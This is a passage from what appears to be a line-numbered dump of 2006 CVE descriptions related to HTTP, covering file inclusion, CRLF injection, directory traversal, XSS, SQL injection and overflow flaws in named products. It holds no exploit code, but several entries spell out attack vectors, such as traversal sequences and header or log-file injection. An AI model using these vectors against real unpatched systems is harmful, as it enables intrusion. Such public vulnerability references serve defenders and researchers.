12883| [CVE-2006-6739] PHP remote file inclusion vulnerability in buycd.php in Paristemi 0.8.3 allows remote attackers to execute arbitrary PHP code via a URL in the HTTP_DOCUMENT_ROOT parameter, a different vector than CVE-2006-6689.
12884| [CVE-2006-6699] Multiple CRLF injection vulnerabilities in Oracle Portal 9.0.2 and possibly other versions allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the enc parameter to (1) calendarDialog.jsp or (2) fred.jsp. NOTE: the calendar.jsp vector is covered by CVE-2006-6697.
12885| [CVE-2006-6697] CRLF injection vulnerability in webapp/jsp/calendar.jsp in Oracle Portal 10g and earlier, including 9.0.2, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the enc parameter.
12886| [CVE-2006-6684] Heap-based buffer overflow in Pedro Lineu Orso chetcpasswd before 2.4 allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a long X-Forwarded-For HTTP header. NOTE: The provenance of this information is unknown
12887| [CVE-2006-6679] Pedro Lineu Orso chetcpasswd before 2.4 relies on the X-Forwarded-For HTTP header when verifying a client's status on an IP address ACL, which allows remote attackers to gain unauthorized access by spoofing this header.
12888| [CVE-2006-6674] Ozeki HTTP-SMS Gateway 1.0, and possibly earlier, stores usernames and passwords in plaintext in the HKLM\Software\Ozeki\SMSServer\CurrentVersion\Plugins\httpsmsgate registry key, which allows local users to obtain sensitive information.
12889| [CVE-2006-6613] Directory traversal vulnerability in language.php in phpAlbum 0.4.1 Beta 6 and earlier, when magic_quotes_gpc is disabled and register_globals is enabled, allows remote attackers to include and execute arbitrary local files or obtain sensitive information via a .. (dot dot) in the pa_lang[include_file] parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by language.php.
12890| [CVE-2006-6511] dadaIMC .99.3 uses an insufficiently restrictive FilesMatch directive in the installed .htaccess file, which allows remote attackers to execute arbitrary PHP code by uploading files whose names contain (1) feature, (2) editor, (3) newswire, (4) otherpress, (5) admin, (6) pbook, (7) media, or (8) mod, which are processed as PHP file types (application/x-httpd-php).
12891| [CVE-2006-6477] FRAgent.exe in Mandiant First Response (MFR) before 1.1.1, when run in daemon mode and configured to use only HTTP, allows local users to modify requests and responses between a client and an agent by hijacking an HTTP FRAgent daemon and conducting a man-in-the-middle (MITM) attack.
12892| [CVE-2006-6472] The httpd.conf file in Xerox WorkCentre and WorkCentre Pro before 12.050.03.000, 13.x before 13.050.03.000, and 14.x before 14.050.03.000 configures port 443 to be always active, which has unknown impact and remote attack vectors.
12893| [CVE-2006-6445] Directory traversal vulnerability in error.php in Envolution 1.1.0 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the PNSVlang (PNSV lang) parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by error.php.
12894| [CVE-2006-6440] Multple unspecified vulnerabilities in Xerox WorkCentre and WorkCentre Pro before 12.050.03.000, 13.x before 13.050.03.000, and 14.x before 14.050.03.000 allow remote attackers to have an unspecified impact via unspecified vectors relating to "HTTP Security issues."
12895| [CVE-2006-6438] Xerox WorkCentre and WorkCentre Pro before 12.050.03.000, 13.x before 13.050.03.000, and 14.x before 14.050.03.000 leaves sensitive user data in http.log after an Immediate Image Overwrite (IIO), which allows local users to obtain the data by reading the http.log file.
12896| [CVE-2006-6436] Cross-site scripting (XSS) vulnerability in the Network controller in Xerox WorkCentre and WorkCentre Pro before 12.050.03.000, 13.x before 13.050.03.000, and 14.x before 14.050.03.000 allows remote attackers to inject arbitrary web script or HTML via HTTP TRACE messages.
12897| [CVE-2006-6430] Web services in Xerox WorkCentre and WorkCentre Pro before 12.060.17.000, 13.x before 13.060.17.000, and 14.x before 14.060.17.000 do not require HTTPS, which allows remote attackers to obtain sensitive information by sniffing the unencrypted HTTP traffic.
12898| [CVE-2006-6374] Multiple CRLF injection vulnerabilities in PhpMyAdmin 2.7.0-pl2 allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in a phpMyAdmin cookie in (1) css/phpmyadmin.css.php, (2) db_create.php, (3) index.php, (4) left.php, (5) libraries/session.inc.php, (6) libraries/transformations/overview.php, (7) querywindow.php, (8) server_engines.php, and possibly other files.
12899| [CVE-2006-6361] Heap-based buffer overflow in the uploadprogress_php_rfc1867_file function in uploadprogress.c in Bitflux Upload Progress Meter before 8276 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via crafted HTTP POST fileupload requests.
12900| [CVE-2006-6345] Directory traversal vulnerability in SAP Internet Graphics Service (IGS) 6.40 Patchlevel 16 and earlier, and 7.00 Patchlevel 6 and earlier, allows remote attackers to delete arbitrary files via directory traversal sequences in an HTTP request. NOTE: This information is based upon an initial disclosure. Details will be updated after the grace period has ended. This issue is different from CVE-2006-4133 and CVE-2006-4134.
12901| [CVE-2006-6303] The read_multipart function in cgi.rb in Ruby before 1.8.5-p2 does not properly detect boundaries in MIME multipart content, which allows remote attackers to cause a denial of service (infinite loop) via crafted HTTP requests, a different issue than CVE-2006-5467.
12902| [CVE-2006-6276] HTTP request smuggling vulnerability in Sun Java System Proxy Server before 20061130, when used with Sun Java System Application Server or Sun Java System Web Server, allows remote attackers to bypass HTTP request filtering, hijack web sessions, perform cross-site scripting (XSS), and poison web caches via unspecified attack vectors.
12903| [CVE-2006-6047] Directory traversal vulnerability in manager/index.php in Etomite 0.6.1.2 allows remote authenticated administrators to include and execute arbitrary local files via a .. (dot dot) in the f parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by index.php.
12904| [CVE-2006-5913] Microsoft Internet Explorer 7 allows remote attackers to (1) cause a security certificate from a secure web site to appear invalid via a link to res://ieframe.dll/sslnavcancel.htm with the target site in the anchor identifier, which displays the site's URL in the address bar but causes Internet Explorer to report that the certificate is invalid, or (2) trigger a "The webpage no longer exists" report via a link to res://ieframe.dll/http_410.htm, a variant of CVE-2006-5805.
12905| [CVE-2006-5900] Cross-site scripting (XSS) vulnerability in the incubator/tests/Zend/Http/_files/testRedirections.php sample code in Zend Framework Preview 0.2.0 allows remote attackers to inject arbitrary web script or HTML via arbitrary parameters.
12906| [CVE-2006-5894] Directory traversal vulnerability in lang.php in Rama CMS 0.68 and earlier, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang cookie, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by lang.php.
12907| [CVE-2006-5876] The soup_headers_parse function in soup-headers.c for libsoup HTTP library before 2.2.99 allows remote attackers to cause a denial of service (crash) via malformed HTTP headers, probably involving missing fields or values.
12908| [CVE-2006-5801] The owserver module in owfs and owhttpd 2.5p5 and earlier does not properly check the path type, which allows attackers to cause a denial of service (application crash) related to use of the path in owshell.
12909| [CVE-2006-5752] Cross-site scripting (XSS) vulnerability in mod_status.c in the mod_status module in Apache HTTP Server (httpd), when ExtendedStatus is enabled and a public server-status page is used, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors involving charsets with browsers that perform "charset detection" when the content-type is not specified.
12910| [CVE-2006-5745] Unspecified vulnerability in the setRequestHeader method in the XMLHTTP (XML HTTP) ActiveX Control 4.0 in Microsoft XML Core Services 4.0 on Windows, when accessed by Internet Explorer, allows remote attackers to execute arbitrary code via crafted arguments that lead to memory corruption, a different vulnerability than CVE-2006-4685. NOTE: some of these details are obtained from third party information.
12911| [CVE-2006-5733] Directory traversal vulnerability in error.php in PostNuke 0.763 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the PNSVlang (PNSV lang) cookie, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by error.php.
12912| [CVE-2006-5725] The SSL server in AEP Smartgate 4.3b allows remote attackers to determine existence of directories via a direct request for a directory URI, which returns different HTTP status codes for existing and non-existing directories.
12913| [CVE-2006-5715] Easy File Sharing (EFS) Easy Address Book 1.2, when run on an NTFS file system, allows remote attackers to read arbitrary files under the web root by appending "::$DATA" to the end of an HTTP GET request, which accesses the alternate data stream.
12914| [CVE-2006-5714] Easy File Sharing (EFS) Web Server 4.0, when running on an NTFS file system, allows remote attackers to read arbitrary files under the web root by appending "::$DATA" to the end of a HTTP GET request, which accesses the alternate data stream.
12915| [CVE-2006-5711] ECI Telecom B-FOCuS Wireless 802.11b/g ADSL2+ Router allows remote attackers to read arbitrary files via a certain HTTP request, as demonstrated by a request for a router configuration file, related to the /html/defs/ URI.
12916| [CVE-2006-5661] Cross-site scripting (XSS) vulnerability in nquser.php in VIRtech Netquery allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
12917| [CVE-2006-5639] Unspecified vulnerability in the random number generator in OpenWBEM (Web Based Enterprise Management) 3.2.0 allows attackers to gain privileges via vectors related to "local or HTTP Digest authentication."
12918| [CVE-2006-5597] join.asp in MiniHTTP Web Forum & File Server PowerPack 4.0 allows remote attackers to add or modify arbitrary user accounts via modified (1) frmMailBox and (2) frmUserPass parameters.
12919| [CVE-2006-5596] Directory traversal vulnerability in the SSL server in AEP Smartgate 4.3b allows remote attackers to download arbitrary files via ..\ (dot dot backslash) sequences in an HTTP GET request.
12920| [CVE-2006-5566] CRLF injection vulnerability in premium/index.php in Shop-Script allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the (1) links_exchange, (2) news, (3) search_with_change_category_ability, (4) logging, (5) feedback, (6) show_price, (7) register, (8) answer, (9) productID, and (10) inside parameters.
12921| [CVE-2006-5565] CRLF injection vulnerability in MAXdev MD-Pro 1.0.76 allows remote attackers to inject arbitrary HTTP headers via a CRLF sequence in the (1) name, (2) file, (3) module, and (4) func parameters in (a) index.php
12922| [CVE-2006-5508] Multiple SQL injection vulnerabilities in addentry.php in WoltLab Burning Book 1.1.2 allow remote attackers to execute arbitrary SQL commands via (1) the n parameter and (2) the User-Agent HTTP header.
12923| [CVE-2006-5478] Multiple stack-based buffer overflows in Novell eDirectory 8.8.x before 8.8.1 FTF1, and 8.x up to 8.7.3.8, and Novell NetMail before 3.52e FTF2, allow remote attackers to execute arbitrary code via (1) a long HTTP Host header, which triggers an overflow in the BuildRedirectURL function
12924| [CVE-2006-5468] Unspecified vulnerability in the HTTP dissector in Wireshark (formerly Ethereal) 0.99.3 allows remote attackers to cause a denial of service (crash) via unspecified vectors.
12925| [CVE-2006-5467] The cgi.rb CGI library for Ruby 1.8 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via an HTTP request with a multipart MIME body that contains an invalid boundary specifier, as demonstrated using a specifier that begins with a "-" instead of "--" and contains an inconsistent ID.
12926| [CVE-2006-5442] ViewVC 1.0.2 and earlier does not specify a charset in its HTTP headers or HTML documents, which allows remote attackers to conduct cross-site scripting (XSS) attacks that inject arbitrary UTF-7 encoded JavaScript code via a view.
12927| [CVE-2006-5357] Unspecified vulnerability in Oracle HTTP Server component in Oracle Application Server 10.1.2.0.1, 10.1.2.0.2, and 10.1.2.1.0 has unknown impact and remote attack vectors related to the PHP Module, aka Vuln# OHS03.
12928| [CVE-2006-5354] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7 and 10.1.0.5, Application Server 9.0.4.3, 10.1.2.0.2, 10.1.2.1.0, and 10.1.3.0, racle Collaboration Suite 9.0.4.2 and 10.1.2, and Oracle E-Business Suite and Applications 11.5.10CU2 has unknown impact and remote attack vectors, aka Vuln# OHS06.
12929| [CVE-2006-5353] Unspecified vulnerability in Oracle HTTP Server component in Oracle Application Server 9.0.4.3, 10.1.2.0.2, 10.1.2.1.0, and 10.1.3.0.0, and Oracle Collaboration Suite 9.0.4.2 and 10.1.2, has unknown impact and remote attack vectors related to the Mod_rewrite Module, aka Vuln# OHS01.
12930| [CVE-2006-5350] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7 and Oracle E-Business Suite and Applications 11.5.10CU2 has unknown impact and local attack vectors, aka Vuln# OHS08.
12931| [CVE-2006-5349] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7, when running on HP Tru64 UNIX, has unknown impact and remote attack vectors related to HTTPS and SSL, aka Vuln# OHS07.
12932| [CVE-2006-5348] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7, Oracle Collaboration Suite 9.0.4.2, and Oracle E-Business Suite and Applications 11.5.10CU2 has unknown impact and remote attack vectors related to HTTPS and SSL, aka Vuln# OHS05.
12933| [CVE-2006-5347] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7 and Oracle Collaboration Suite 9.0.4.2 has unknown impact and remote attack vectors related to HTTPS and SSL, aka Vuln# OHS04.
12934| [CVE-2006-5346] Unspecified vulnerability in Oracle HTTP Server 9.2.0.7, as used in Oracle Collaboration Suite 9.0.4.2 and Oracle E-Business Suite and Applications 11.5.10CU2, has unknown impact and remote attack vectors related to htdigest, aka Vuln# OHS02.
12935| [CVE-2006-5330] CRLF injection vulnerability in Adobe Flash Player plugin 9.0.16 and earlier for Windows, 7.0.63 and earlier for Linux, 7.x before 7.0 r67 for Solaris, and before 9.0.28.0 for Mac OS X, allows remote attackers to modify HTTP headers of client requests and conduct HTTP Request Splitting attacks via CRLF sequences in arguments to the ActionScript functions (1) XML.addRequestHeader and (2) XML.contentType. NOTE: the flexibility of the attack varies depending on the type of web browser being used.
12936| [CVE-2006-5287] Multiple SQL injection vulnerabilities in sign.php in Xeobook 0.93 allow remote attackers to execute arbitrary SQL commands via (1) the User-Agent HTTP header, or the (2) gb_entry_text, (3) gb_location, (4) gb_fullname, or (5) gb_sex parameters.
12937| [CVE-2006-5263] Directory traversal vulnerability in templates/header.php3 in phpMyAgenda 3.1 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the language parameter, as demonstrated by a parameter value naming an Apache HTTP Server log file that apparently contains PHP code.
12938| [CVE-2006-5233] Polycom SoundPoint IP 301 VoIP Desktop Phone, firmware version 1.4.1.0040, allows remote attackers to cause a denial of service (reboot) via (1) a long URL sent to the HTTP daemon and (2) unspecified manipulations as demonstrated by the Nessus http_fingerprinting_hmap.nasl script.
12939| [CVE-2006-5227] Cross-site scripting (XSS) vulnerability in admin.php in TorrentFlux 2.1 allows remote attackers to inject arbitrary web script or HTML via (1) the $user_agent variable, probably obtained from the User-Agent HTTP header, and possibly (2) the $ip_resolved variable.
12940| [CVE-2006-5216] Stack-based buffer overflow in Sergey Lyubka Simple HTTPD (shttpd) 1.34 allows remote attackers to execute arbitrary code via a long URI.
12941| [CVE-2006-5212] Trend Micro OfficeScan 6.0 in Client/Server/Messaging (CSM) Suite for SMB 2.0 before 6.0.0.1385, and OfficeScan Corporate Edition (OSCE) 6.5 before 6.5.0.1418, 7.0 before 7.0.0.1257, and 7.3 before 7.3.0.1053 allow remote attackers to delete files via a modified filename parameter in a certain HTTP request that invokes the OfficeScan CGI program.
12942| [CVE-2006-5211] Trend Micro OfficeScan 6.0 in Client/Server/Messaging (CSM) Suite for SMB 2.0 before 6.0.0.1385, and OfficeScan Corporate Edition (OSCE) 6.5 before 6.5.0.1418, 7.0 before 7.0.0.1257, and 7.3 before 7.3.0.1053 allow remote attackers to remove OfficeScan clients via a certain HTTP request that invokes the OfficeScan CGI program.
12943| [CVE-2006-5196] The HTTP interface in the Motorola SURFboard SB4200 Cable Modem allows remote attackers to cause a denial of service (device crash) via a request with MfcISAPICommand set to SecretProc and a long string in the Secret parameter.
12944| [CVE-2006-5152] Cross-site scripting (XSS) vulnerability in Microsoft Internet Explorer allows remote attackers to inject arbitrary web script or HTML via a UTF-7 encoded URL that is returned in a large HTTP 404 error message without an explicit charset, a related issue to CVE-2006-0032.
12945| [CVE-2006-5112] Buffer overflow in InterVations NaviCOPA Web Server 2.01 allows remote attackers to execute arbitrary code via a long HTTP GET request.
12946| [CVE-2006-5050] Directory traversal vulnerability in httpd in Rob Landley BusyBox allows remote attackers to read arbitrary files via URL-encoded "%2e%2e/" sequences in the URI.
12947| [CVE-2006-5037] ** DISPUTED ** MySource Matrix after 3.8 allows remote attackers to use the application as an HTTP proxy server via a MIME encoded URL in the sq_content_src parameter to access arbitrary sites with the server's IP address and conduct cross-site scripting (XSS) attacks. NOTE: the researcher reports that "The vendor does not consider this a vulnerability."
12948| [CVE-2006-5036] ** DISPUTED ** MySource Matrix 3.8 and earlier, and MySource 2.x, allow remote attackers to use the application as an HTTP proxy server via the sq_remote_page_url parameter to access arbitrary sites with the server's IP address and conduct cross-site scripting (XSS) attacks. NOTE: the researcher reports that "The vendor does not consider this a vulnerability."
12949| [CVE-2006-5026] Multiple unspecified vulnerabilities in Paisterist Simple HTTP Scanner (sHTTPScanner) before 0.3 have unknown impact and attack vectors.
12950| [CVE-2006-5025] Multiple unspecified vulnerabilities in Paisterist Simple HTTP Scanner (sHTTPScanner) before 0.2 have unknown impact and attack vectors.
12951| [CVE-2006-5024] Multiple unspecified vulnerabilities in Paisterist Simple HTTP Scanner (sHTTPScanner) before 0.4 have unknown impact and attack vectors.
12952| [CVE-2006-4830] Directory traversal vulnerability in EditBlogTemplatesPlugin.java in David Czarnecki Blojsom 2.30 allows remote attackers to have an unknown impact by sending an HTTP request with a certain value of blogTemplate.
12953| [CVE-2006-4723] PHP remote file inclusion vulnerability in raidenhttpd-admin/slice/check.php in RaidenHTTPD 1.1.49, when register_globals and WebAdmin is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the SoftParserFileXml parameter.
12954| [CVE-2006-4712] Multiple cross-site scripting (XSS) vulnerabilities in Sage 1.3.6 allow remote attackers to inject arbitrary web script or HTML via JavaScript in a content:encoded element within an item element in an RSS feed, as demonstrated by four example content:encoded elements that use XMLHttpRequest to read arbitrary local files, aka "Cross Context Scripting."
12955| [CVE-2006-4685] The XMLHTTP ActiveX control in Microsoft XML Parser 2.6 and XML Core Services 3.0 through 6.0 does not properly handle HTTP server-side redirects, which allows remote user-assisted attackers to access content from other domains.
12956| [CVE-2006-4683] IBM Director before 5.10 allows remote attackers to obtain sensitive information from HTTP headers via HTTP TRACE.
12957| [CVE-2006-4679] DokuWiki before 2006-03-09c enables the debug feature by default, which allows remote attackers to obtain sensitive information by calling doku.php with the X-DOKUWIKI-DO HTTP header set to "debug".
12958| [CVE-2006-4674] Direct static code injection vulnerability in doku.php in DokuWiki before 2006-030-09c allows remote attackers to execute arbitrary PHP code via the X-FORWARDED-FOR HTTP header, which is stored in config.php.
12959| [CVE-2006-4636] Directory traversal vulnerability in SZEWO PhpCommander 3.0 and earlier allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the Directory parameter, as demonstrated by parameter values naming Apache HTTP Server log files that apparently contain PHP code.
12960| [CVE-2006-4625] PHP 4.x up to 4.4.4 and PHP 5 up to 5.1.6 allows local users to bypass certain Apache HTTP Server httpd.conf options, such as safe_mode and open_basedir, via the ini_restore function, which resets the values to their php.ini (Master Value) defaults.
12961| [CVE-2006-4558] DeluxeBB 1.06 and earlier, when run on the Apache HTTP Server with the mod_mime module, allows remote attackers to execute arbitrary PHP code by uploading files with double extensions via the fileupload parameter in a newthread action in newpost.php.
12962| [CVE-2006-4517] Novell iManager 2.5 and 2.0.2 allows remote attackers to cause a denial of service (crash) in the Tomcat server via a long TREE parameter in an HTTP POST, which triggers a NULL pointer dereference.
12963| [CVE-2006-4511] Messenger Agents (nmma.exe) in Novell GroupWise 2.0.2 and 1.0.6 allows remote attackers to cause a denial of service (crash) via a crafted HTTP POST request to TCP port 8300 with a modified val parameter, which triggers a null dereference related to "zero-size strings in blowfish routines."
12964| [CVE-2006-4505] CRLF injection vulnerability in links.php in NX5Linx 1.0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a CRLF sequence in the url parameter.
12965| [CVE-2006-4451] Direct static code injection vulnerability in CJ Tag Board 3.0 allows remote attackers to execute arbitrary PHP code via the (1) User-Agent HTTP header in tag.php, which is executed by all.php, and (2) the banned parameter in admin_index.php.
12966| [CVE-2006-4450] usercp_avatar.php in PHPBB 2.0.20, when avatar uploading is enabled, allows remote attackers to use the server as a web proxy by submitting a URL to the avatarurl parameter, which is then used in an HTTP GET request.
12967| [CVE-2006-4430] The Cisco Network Admission Control (NAC) 3.6.4.1 and earlier allows remote attackers to prevent installation of the Cisco Clean Access (CCA) Agent and bypass local and remote protection mechanisms by modifying (1) the HTTP User-Agent header or (2) the behavior of the TCP/IP stack. NOTE: the vendor has disputed the severity of this issue, stating that users cannot bypass authentication mechanisms.
12968| [CVE-2006-4409] The Online Certificate Status Protocol (OCSP) service in the Security Framework in Apple Mac OS X 10.4 through 10.4.8 retrieve certificate revocation lists (CRL) when an HTTP proxy is in use, which could cause the system to accept certificates that have been revoked.
12969| [CVE-2006-4248] thttpd on Debian GNU/Linux, and possibly other distributions, allows local users to create or touch arbitrary files via a symlink attack on the start_thttpd temporary file.
12970| [CVE-2006-4197] Multiple buffer overflows in libmusicbrainz (aka mb_client or MusicBrainz Client Library) 2.1.2 and earlier, and SVN 8406 and earlier, allow remote attackers to cause a denial of service (crash) or execute arbitrary code via (1) a long Location header by the HTTP server, which triggers an overflow in the MBHttp::Download function in lib/http.cpp
12971| [CVE-2006-4191] Directory traversal vulnerability in memcp.php in XMB (Extreme Message Board) 1.9.6 and earlier allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the langfilenew parameter, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by header.php.
12972| [CVE-2006-4134] Unspecified vulnerability related to a "design flaw" in SAP Internet Graphics Service (IGS) 6.40 and earlier and 7.00 and earlier allows remote attackers to cause a denial of service (service shutdown) via certain HTTP requests. NOTE: This information is based upon a vague initial disclosure. Details will be updated after the grace period has ended.
12973| [CVE-2006-4133] Heap-based buffer overflow in SAP Internet Graphics Service (IGS) 6.40 and earlier, and 7.00 and earlier, allows remote attackers to cause a denial of service (crash) or execute arbitrary code via an HTTP request with an ADM:GETLOGFILE command and a long portwatcher argument, which triggers the overflow during error message construction when the _snprintf function returns a negative value that is used in a memcpy operation.
12974| [CVE-2006-4111] Ruby on Rails before 1.1.5 allows remote attackers to execute Ruby code with "severe" or "serious" impact via a File Upload request with an HTTP header that modifies the LOAD_PATH variable, a different vulnerability than CVE-2006-4112.
12975| [CVE-2006-4089] Multiple buffer overflows in Andy Lo-A-Foe AlsaPlayer 0.99.76 and earlier allow remote attackers to cause a denial of service (application crash), or have other unknown impact, via (1) a long Location field sent by a web server, which triggers an overflow in the reconnect function in reader/http/http.c
12976| [CVE-2006-4035] SQL injection vulnerability in counterchaos.php in CounterChaos 0.48c and earlier allows remote attackers to execute arbitrary SQL commands via the Referer HTTP header.
12977| [CVE-2006-4004] Directory traversal vulnerability in index.php in vbPortal 3.0.2 through 3.6.0 Beta 1, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the bbvbplang cookie, as demonstrated by injecting PHP sequences into an Apache HTTP Server log file, which is then included by index.php.
12978| [CVE-2006-3950] SQL injection vulnerability in x-statistics.php in X-Scripts X-Statistics 1.20 allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header.
12979| [CVE-2006-3945] The CSS functionality in Opera 9 on Windows XP SP2 allows remote attackers to cause a denial of service (crash) by setting the background property of a DHTML element to a long http or https URL, which triggers memory corruption.
12980| [CVE-2006-3935] system/workplace/views/admin/admin-main.jsp in Alkacon OpenCms before 6.2.2 does not restrict access to administrator functions, which allows remote authenticated users to (1) send broadcast messages to all users (/workplace/broadcast), (2) list all users (/accounts/users), (3) add webusers (/accounts/webusers/new), (4) upload database import and export files (/database/importhttp), (5) upload arbitrary program modules (/modules/modules_import), and (6) read the log file (/workplace/logfileview) by setting the appropriate value for the path parameter in a direct request to admin-main.jsp.
12981| [CVE-2006-3918] http_protocol.c in (1) IBM HTTP Server 6.0 before 6.0.2.13 and 6.1 before 6.1.0.1, and (2) Apache HTTP Server 1.3 before 1.3.35, 2.0 before 2.0.58, and 2.2 before 2.2.2, does not sanitize the Expect header from an HTTP request when it is reflected back in an error message, which might allow cross-site scripting (XSS) style attacks using web client components that can send arbitrary headers in requests, as demonstrated using a Flash SWF file.
12982| [CVE-2006-3873] Heap-based buffer overflow in URLMON.DLL in Microsoft Internet Explorer 6 SP1 on Windows 2000 and XP SP1, with versions the MS06-042 patch before 20060912, allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a long URL in a GZIP-encoded website that was the target of an HTTP redirect, due to an incomplete fix for CVE-2006-3869.
12983| [CVE-2006-3869] Heap-based buffer overflow in URLMON.DLL in Microsoft Internet Explorer 6 SP1 on Windows 2000 and XP SP1, with versions the MS06-042 patch before 20060824, allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a long URL on a website that uses HTTP 1.1 compression.
12984| [CVE-2006-3830] The Languages selection in the admin interface in Kailash Nadh boastMachine (formerly bMachine) 3.1 and earlier allows remote authenticated administrators to upload files with arbitrary extensions to the bmc/Inc/Lang directory. NOTE: because the uploaded files cannot be accessed through HTTP, this issue is a vulnerability only if there is a likely usage pattern in which the files would be opened or executed by local users, e.g., malware files with names that entice local users to open the files.
12985| [CVE-2006-3819] Eval injection vulnerability in the configure script in TWiki 4.0.0 through 4.0.4 allows remote attackers to execute arbitrary Perl code via an HTTP POST request containing a parameter name starting with "TYPEOF".
12986| [CVE-2006-3775] SQL injection vulnerability in the init function in class_session.php in MyBB (aka MyBulletinBoard) 1.1.5 allows remote attackers to execute arbitrary SQL commands via the CLIENT-IP HTTP header ($_SERVER['HTTP_CLIENT_IP'] variable), as utilized by index.php.
12987| [CVE-2006-3758] inc/init.php in Archive Mode (Light) in MyBB (aka MyBulletinBoard) 1.1.4 calls the extract function with EXTR_OVERWRITE on HTTP POST and GET variables, which allows remote attackers to overwrite arbitrary variables, as demonstrated via an SQL injection using the _SERVER[HTTP_CLIENT_IP] parameter in archive/index.php.
12988| [CVE-2006-3731] Mozilla Firefox 1.5.0.4 and earlier allows remote user-assisted attackers to cause a denial of service (crash) via a form with a multipart/form-data encoding and a user-uploaded file. NOTE: a third party has claimed that this issue might be related to the LiveHTTPHeaders extension.
12989| [CVE-2006-3595] The default configuration of IOS HTTP server in Cisco Router Web Setup (CRWS) before 3.3.0 build 31 does not require credentials, which allows remote attackers to access the server with arbitrary privilege levels, aka bug CSCsa78190.
12990| [CVE-2006-3549] services/go.php in Horde Application Framework 3.0.0 through 3.0.10 and 3.1.0 through 3.1.1 does not properly restrict its image proxy capability, which allows remote attackers to perform "Web tunneling" attacks and use the server as a proxy via (1) http, (2) https, and (3) ftp URL in the url parameter, which is requested from the server.
12991| [CVE-2006-3548] Multiple cross-site scripting (XSS) vulnerabilities in Horde Application Framework 3.0.0 through 3.0.10 and 3.1.0 through 3.1.1 allow remote attackers to inject arbitrary web script or HTML via a (1) javascript URI or an external (2) http, (3) https, or (4) ftp URI in the url parameter in services/go.php (aka the dereferrer), (5) a javascript URI in the module parameter in services/help (aka the help viewer), and (6) the name parameter in services/problem.php (aka the problem reporting screen).
12992| [CVE-2006-3546] Patrice Freydiere ImgSvr (aka ADA Image Server) allows remote attackers to cause a denial of service (daemon crash) via a long HTTP POST request. NOTE: this might be the same issue as CVE-2004-2463.
12993| [CVE-2006-3534] Directory traversal vulnerability in Nullsoft SHOUTcast DSP before 1.9.6 filters directory traversal sequences before decoding, which allows remote attackers to read arbitrary files via encoded dot dot (%2E%2E) sequences in an HTTP GET request for a file path containing "/content".
12994| [CVE-2006-3355] Heap-based buffer overflow in httpdget.c in mpg123 before 0.59s-rll allows remote attackers to execute arbitrary code via a long URL, which is not properly terminated before being used with the strncpy function. NOTE: This appears to be the result of an incomplete patch for CVE-2004-0982.
12995| [CVE-2006-3352] ** DISPUTED ** Cross-domain vulnerability in Mozilla Firefox allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object. NOTE: this description was based on a report that has since been retracted by the original authors. The authors misinterpreted their test results. Other third parties also disputed the original report. Therefore, this is not a vulnerability. It is being assigned a candidate number to provide a clear indication of its status.
12996| [CVE-2006-3290] HTTP server in Cisco Wireless Control System (WCS) for Linux and Windows before 3.2(51) stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain usernames and directory paths via a direct URL request.
12997| [CVE-2006-3289] Cross-site scripting (XSS) vulnerability in the login page of the HTTP interface for the Cisco Wireless Control System (WCS) for Linux and Windows before 3.2(51) allows remote attackers to inject arbitrary web script or HTML via unspecified vectors involving a "malicious URL".
12998| [CVE-2006-3280] Cross-domain vulnerability in Microsoft Internet Explorer 6.0 allows remote attackers to access restricted information from other domains via an object tag with a data parameter that references a link on the attacker's originating site that specifies a Location HTTP header that references the target site, which then makes that content available through the outerHTML attribute of the object, aka "Redirect Cross-Domain Information Disclosure Vulnerability."
12999| [CVE-2006-3276] Heap-based buffer overflow in RealNetworks Helix DNA Server 10.0 and 11.0 allows remote attackers to execute arbitrary code via (1) a long User-Agent HTTP header in the RTSP service and (2) unspecified vectors involving the "parsing of HTTP URL schemes".
13000| [CVE-2006-3226] Cisco Secure Access Control Server (ACS) 4.x for Windows uses the client's IP address and the server's port number to grant access to an HTTP server port for an administration session, which allows remote attackers to bypass authentication via various methods, aka "ACS Weak Session Management Vulnerability."
13001| [CVE-2006-3124] Buffer overflow in the HTTP header parsing in Streamripper before 1.61.26 allows remote attackers to cause a denial of service and possibly execute arbitrary code via crafted HTTP headers.
13002| [CVE-2006-3105] CRLF injection vulnerability in Bitweaver 1.3 allows remote attackers to conduct HTTP response splitting attacks by via CRLF sequences in multiple unspecified parameters that are injected into HTTP headers, as demonstrated by the BWSESSION parameter in index.php.
